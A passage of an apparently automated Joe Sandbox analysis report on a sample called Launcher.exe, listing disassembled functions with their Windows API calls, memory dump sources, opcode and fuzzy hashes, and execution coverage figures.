__freea.LIBCMT ref: 002530F2

Part of subcall function 00250C65: RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,00249200,?,?,002467E7,?,00246199), ref: 00250C97

__freea.LIBCMT ref: 00253105
__freea.LIBCMT ref: 00253112

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c11dd876a7af474c10bd18dd124b5d868ede5d5841d3bbc3323ec7df633829a3
Instruction ID: fa118cabc426f0cc2674c68755fbc21000f311d98e44259a49cf93a489b0e573
Opcode Fuzzy Hash: c11dd876a7af474c10bd18dd124b5d868ede5d5841d3bbc3323ec7df633829a3
Instruction Fuzzy Hash: 2451DB716206076FDF21DF70CC86DBB7AA9EF44792F154129FC08D6140EA70DE789A68

Function 0024E518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0024E41E,?,?,00000000,00000000,00000000,?), ref: 0024E53D
CatchIt.LIBVCRUNTIME ref: 0024E623

Strings

RCC, xrefs: 0024E557
MOC, xrefs: 0024E54F

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 8e97fc4f980a1e9718ff17772f3c7a71eeaaa24ef3ad30e22e17631eff29cc64
Instruction ID: bdcc3710ae00203cad191a01be62300b8e984b7b8ab37c48dc300580d6848b7e
Opcode Fuzzy Hash: 8e97fc4f980a1e9718ff17772f3c7a71eeaaa24ef3ad30e22e17631eff29cc64
Instruction Fuzzy Hash: 65419E7191010AAFDF1ADF98CC81AEE7BB9FF58304F1A8059F904A7211E335AA60DF51

Function 00252C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00252D1A,00000000,?,00261CD0,?,?,?,00252C51,00000004,InitializeCriticalSectionEx,002596F8,00259700), ref: 00252C8B
GetLastError.KERNEL32(?,00252D1A,00000000,?,00261CD0,?,?,?,00252C51,00000004,InitializeCriticalSectionEx,002596F8,00259700,00000000,?,0024E73C), ref: 00252C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00252CBD

Strings

api-ms-, xrefs: 00252CA2

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: fc4fbb88cdedd620c212fb2565ec905cd23d1c7346a0778ee84474ef0df60739
Instruction ID: d6ebdbb95cc9d3c9adf02d7231c8e7d45b9f5d42d99e3047ee5cf4fc4ff53523
Opcode Fuzzy Hash: fc4fbb88cdedd620c212fb2565ec905cd23d1c7346a0778ee84474ef0df60739
Instruction Fuzzy Hash: 93E01230250305FAEF201F60ED0EB6C3B59AB01B57F554421FD0DB41E1E7719968995D

Function 00253608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(58D485F2,00000000,00000000,?), ref: 0025366B

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002538BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00253903
GetLastError.KERNEL32 ref: 002539A6

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 329785913073bf6feaa877488d0a20efe78a1ab89bafa36ba686b8b27dacb0fa
Instruction ID: fb335ddc0cb2ffca9109233d388d7c2e5384682f45e5f45da7f9c0893cdd9d99
Opcode Fuzzy Hash: 329785913073bf6feaa877488d0a20efe78a1ab89bafa36ba686b8b27dacb0fa
Instruction Fuzzy Hash: E3D1BBB1D102489FCF15CFA8C884AADBBB8FF48311F28412AE816EB351D770AA55CF54

Function 0024DF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0024DFE3
___AdjustPointer.LIBCMT ref: 0024E006
___AdjustPointer.LIBCMT ref: 0024E0A2

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 5f89b67827c6287e421840059e3e8dbd86fabdc66a2bebabc0de7908b3c4189c
Instruction ID: a92c3dea84bbd2200dfaae00011cbf8b23f87f7b9096b57b1cc6f93925755fee
Opcode Fuzzy Hash: 5f89b67827c6287e421840059e3e8dbd86fabdc66a2bebabc0de7908b3c4189c
Instruction Fuzzy Hash: 1351B171624202AFFF2D9F10D841BBA77A4FF00300F264429E9166B691E7B2EC68CB51

Function 002515D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,0025197E,?,?,?,00000000), ref: 0025163C
__dosmaperr.LIBCMT ref: 00251643
GetLastError.KERNEL32(00000000,0025197E,?,?,00000000,?,?,?,00000000,00000000,?,0025197E,?,?,?,00000000), ref: 0025167D
__dosmaperr.LIBCMT ref: 00251684

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: de512c0ad8365e933352324ccdca09f85817dacc7445c9dbee63e34a66561cc5
Instruction ID: 5f6acfc630fc0401976f7756cd3c7adac9577ceec96e1ed7c98a06489e4db1bf
Opcode Fuzzy Hash: de512c0ad8365e933352324ccdca09f85817dacc7445c9dbee63e34a66561cc5
Instruction Fuzzy Hash: CE21C571620206AFDB24AF619C81E7AB7ADEF043667148518FC2997151E770EC388F98

Function 0025224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00252255

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002522AD

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 51c1ddc1032376a6b9643c4a2b402f93ae40c74ca3e8e6f304054306f0a3e51b
Instruction ID: 34f5fea08f2dd9389c5a972b7373d43d63b75efb4ca560e0c8482b5864b3407b
Opcode Fuzzy Hash: 51c1ddc1032376a6b9643c4a2b402f93ae40c74ca3e8e6f304054306f0a3e51b
Instruction Fuzzy Hash: 9F118EB5631615BB6B112B716CCDC7F295CDE56397B110025FC01E1181FA708E2E99BD

Function 002557E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000), ref: 002557F7
GetLastError.KERNEL32(?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?,?,?,00253340,00000000), ref: 00255803

Part of subcall function 00255860: CloseHandle.KERNEL32(FFFFFFFE,00255813,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?,?), ref: 00255870

___initconout.LIBCMT ref: 00255813

Part of subcall function 00255835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002557D1,00254F3E,?,?,002539FA,?,00000000,00000000,?), ref: 00255848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?), ref: 00255828

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1bd55e134945fdec1ac0eae1aba38c98fd4896d86c72341426006c025b9c56c0
Instruction ID: 61dd0dc1c605e0918ffd4b49df069076939a96917b35eeffe3535e4b72ce0bd9
Opcode Fuzzy Hash: 1bd55e134945fdec1ac0eae1aba38c98fd4896d86c72341426006c025b9c56c0
Instruction Fuzzy Hash: BCF01C36520529BBCF222F91EC0C98A3F26EB083A2F068011FE0885120D6729964EB99

Function 0024DD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0024DD95

Strings

csm, xrefs: 0024DE28
csm, xrefs: 0024DDB7

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2b7f9347bb7ccd960ba211c5f026e36b24fd979e12f3f4a9af94d7ee7f4dadb3
Instruction ID: 8e62afe8f310f17c0be8f86bce747a4b7be3ec9a31038512136fcd8541681236
Opcode Fuzzy Hash: 2b7f9347bb7ccd960ba211c5f026e36b24fd979e12f3f4a9af94d7ee7f4dadb3
Instruction Fuzzy Hash: 7531E476A20216EBCF2E8F50CC4496A7B65FF29715B18865AF8544E121C373CC72DB81

Analysis Process: Launcher.exePID: 5688, Parent PID: 2360COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.3%
Total number of Nodes:	286
Total number of Limit Nodes:	30

Executed Functions

Function 004389D0 Relevance: 40.7, APIs: 11, Strings: 12, Instructions: 484
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 00438B0C
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438BA3
CoSetProxyBlanket.COMBASE(00006F68,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438BE1
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438C50
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438D15
VariantInit.OLEAUT32(?), ref: 00438D80
VariantClear.OLEAUT32(?), ref: 00438F04
SysFreeString.OLEAUT32(?), ref: 00438F2F
SysFreeString.OLEAUT32(?), ref: 00438F35
SysFreeString.OLEAUT32(00000000), ref: 00438F46

Strings

tW(Q, xrefs: 00438C7A
!_2Y, xrefs: 00438C6A
tw, xrefs: 00438CBA
q]j], xrefs: 00438D0D
T#]], xrefs: 00438C62
C, xrefs: 00438ABB
"S#M, xrefs: 00438C82
9]j], xrefs: 00438CD0
\, xrefs: 00438AC6
x[, xrefs: 00438C72
I'Y!, xrefs: 00438C5A
;OnI, xrefs: 00438C8A

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInitInstanceProxy
String ID: !_2Y$"S#M$9]j]$;OnI$C$I'Y!$T#]]$\$q]j]$tW(Q$tw$x[
API String ID: 2485776651-621965088
Opcode ID: 9396cb8f17d18c9f60335c4eb3dae25d3e470e3c7ae8411d7b2ccb259684225f
Instruction ID: 78e83211301507079be73e4fe13c709d001eec66ed3dbdc862d3520982de3262
Opcode Fuzzy Hash: 9396cb8f17d18c9f60335c4eb3dae25d3e470e3c7ae8411d7b2ccb259684225f
Instruction Fuzzy Hash: 4EF10EB2A083009BD310DF65C885B5BFBE5EFC9704F148A2DF5959B290D778D906CB86

Function 00418BE3 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

??;4, xrefs: 00418FB6
^, xrefs: 00418FCB
0, xrefs: 004192AA
z, xrefs: 004193D6
7654, xrefs: 00418F11

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 0$7654$??;4$^$z
API String ID: 0-2567570624
Opcode ID: 9ec0e6aff255a45d3c2ce9d53ddb9f719d78b7d2f6d3ba07001a99e0c1e98cf1
Instruction ID: b1bab82a719bfbb6248ae59022c6f20018a5e48ecd229fcddef7335a908d3544
Opcode Fuzzy Hash: 9ec0e6aff255a45d3c2ce9d53ddb9f719d78b7d2f6d3ba07001a99e0c1e98cf1
Instruction Fuzzy Hash: 234204B5A083418BD724CF24D8517EBB7E2EFCA304F08492EE4C987391E7399955CB5A

Function 00408AE0 Relevance: 7.7, APIs: 5, Instructions: 198
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408B02
GetCurrentThreadId.KERNEL32 ref: 00408B15
GetCurrentProcessId.KERNEL32 ref: 00408B1D
GetForegroundWindow.USER32 ref: 00408C6E
ExitProcess.KERNEL32 ref: 00408D36

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: e99b9c22fb25575f9126c025eed0440529ca7e6e2d35627aad7f0ff0fd22502f
Instruction ID: 3916312ac2da3a89c62ac9926c891368b4596cef17ec7d1c1499a6de1a4fdd47
Opcode Fuzzy Hash: e99b9c22fb25575f9126c025eed0440529ca7e6e2d35627aad7f0ff0fd22502f
Instruction Fuzzy Hash: 67510473B5471447C708EEBE9D8139AB6D39BC8610F0E853DA888DB395ED789C0946C9

Function 00424470 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\], xrefs: 004244B9
KB, xrefs: 00424BDA

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: \]$KB
API String ID: 0-282600260
Opcode ID: 92c44fe8c1f774e4af65f77713d3c0eb1963ab35570d33be9f0bae4b12a83995
Instruction ID: 3fab9b1554da2861af45bec0a6cd50a870c70bd336575c68554a47ef3370b67c
Opcode Fuzzy Hash: 92c44fe8c1f774e4af65f77713d3c0eb1963ab35570d33be9f0bae4b12a83995
Instruction Fuzzy Hash: 58021FB66083508FD314CF68E89166BBBE5EFC5314F08892DE9D98B351E778C905CB86

Function 0042DD55 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNEL32(00000006,00000000,00000200), ref: 0042DE80

Strings

FPX&, xrefs: 0042E2D9
.L6k, xrefs: 0042DE82

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerName
String ID: .L6k$FPX&
API String ID: 3545744682-1030031352
Opcode ID: e4f428f509ff5e6cb3c19bb6ef7fce41a7fd2c9908bb1c38f3bc447a5a6f9b72
Instruction ID: aa173f05b44665317560c1bde112a0d19c6c7f5019f39f8cf5563b23ce8c7574
Opcode Fuzzy Hash: e4f428f509ff5e6cb3c19bb6ef7fce41a7fd2c9908bb1c38f3bc447a5a6f9b72
Instruction Fuzzy Hash: 71E1D570604B908EE725CF3694507B3BBE1AF57304F58899ED0EB8B382D7796506CB25

Function 0042DD4E Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNEL32(00000006,00000000,00000200), ref: 0042DE80
GetComputerNameExA.KERNEL32(00000005,00000000,00000200), ref: 0042DF4F

Strings

FPX&, xrefs: 0042E2D9
.L6k, xrefs: 0042DE82

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerName
String ID: .L6k$FPX&
API String ID: 3545744682-1030031352
Opcode ID: e7c65ce7ee6dba4e03b97e26cea1270ebfb7e3713e142d4a7c7104a1b6d57e82
Instruction ID: 10d9fc797a3d32074fbf503759531678fa863e0e0eb484848d36d90dfdfb2c32
Opcode Fuzzy Hash: e7c65ce7ee6dba4e03b97e26cea1270ebfb7e3713e142d4a7c7104a1b6d57e82
Instruction Fuzzy Hash: 68E11760604B918EE725CF3684507B3FBD1AF57304F5889AED0EB8B382D739A506CB65

Function 0042E434 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNEL32(?), ref: 0042E4FC

Strings

o|Nx, xrefs: 0042E59F

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: o|Nx
API String ID: 3960555810-802042616
Opcode ID: 55090ea056dc510aa62f610828e46d5bdb31a3fa47c9b38dc9210595f8b174c3
Instruction ID: f503bf91390e6fbe3390ce4816fb64252292ae4852dd66876ced69c528ecd60c
Opcode Fuzzy Hash: 55090ea056dc510aa62f610828e46d5bdb31a3fa47c9b38dc9210595f8b174c3
Instruction Fuzzy Hash: B291D970508B918FD725CF3A94607A3BBE1AF53304F5849AEC0DB87782D779A40ACB54

Function 0043D880 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043D8EE

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6f68be6ec956a6583a85b5b43e644dfcdb69abe17a7243014ccb1c04c9939d51
Instruction ID: 0b3d3b0c0615522f10db29576abadf12e02e27a3a625570a85f481a160202f54
Opcode Fuzzy Hash: 6f68be6ec956a6583a85b5b43e644dfcdb69abe17a7243014ccb1c04c9939d51
Instruction Fuzzy Hash: FD0128B1E062018BD318AF75EC51B2BB766EFCA300F08993DE98193241E638D8558796

Function 0043D920 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00411AA3), ref: 0043D94E

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00440620 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 0044068D

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 0475917a1a8bbe351991b2093614af9c6e3f5bd09f22263d332902a3f21969f9
Instruction ID: 4b259642c4a6d7a99f9af5d21d433992198207b2e4a927d98d07ded2539b41dd
Opcode Fuzzy Hash: 0475917a1a8bbe351991b2093614af9c6e3f5bd09f22263d332902a3f21969f9
Instruction Fuzzy Hash: 6631FF716083048BD314DF68D8C1A6BFBF4FF8A304F15892DE68987391E7789918CB5A

Function 00440740 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e2e4a7a582348601e141d1a64f92d77e41cde39af5ebceb16fd8896977840cd7
Instruction ID: ad44c87781cf1a8a43f37b6594503ed622ccc9cc0f27c007faec6592b3e66a25
Opcode Fuzzy Hash: e2e4a7a582348601e141d1a64f92d77e41cde39af5ebceb16fd8896977840cd7
Instruction Fuzzy Hash: 3E7106756043419BEB15EF28C850A2FB3E2FFC9350F19C42DE6858B356E738D861978A

Function 00420970 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227b3ff5576315b635a7910336eeac6758ebc8b89ea0154b3321cb937fa4b268
Instruction ID: fd94310adb4de760c7d7c3a3ca757dfebc471b0dc2fb50c609f975835bcd1d9b
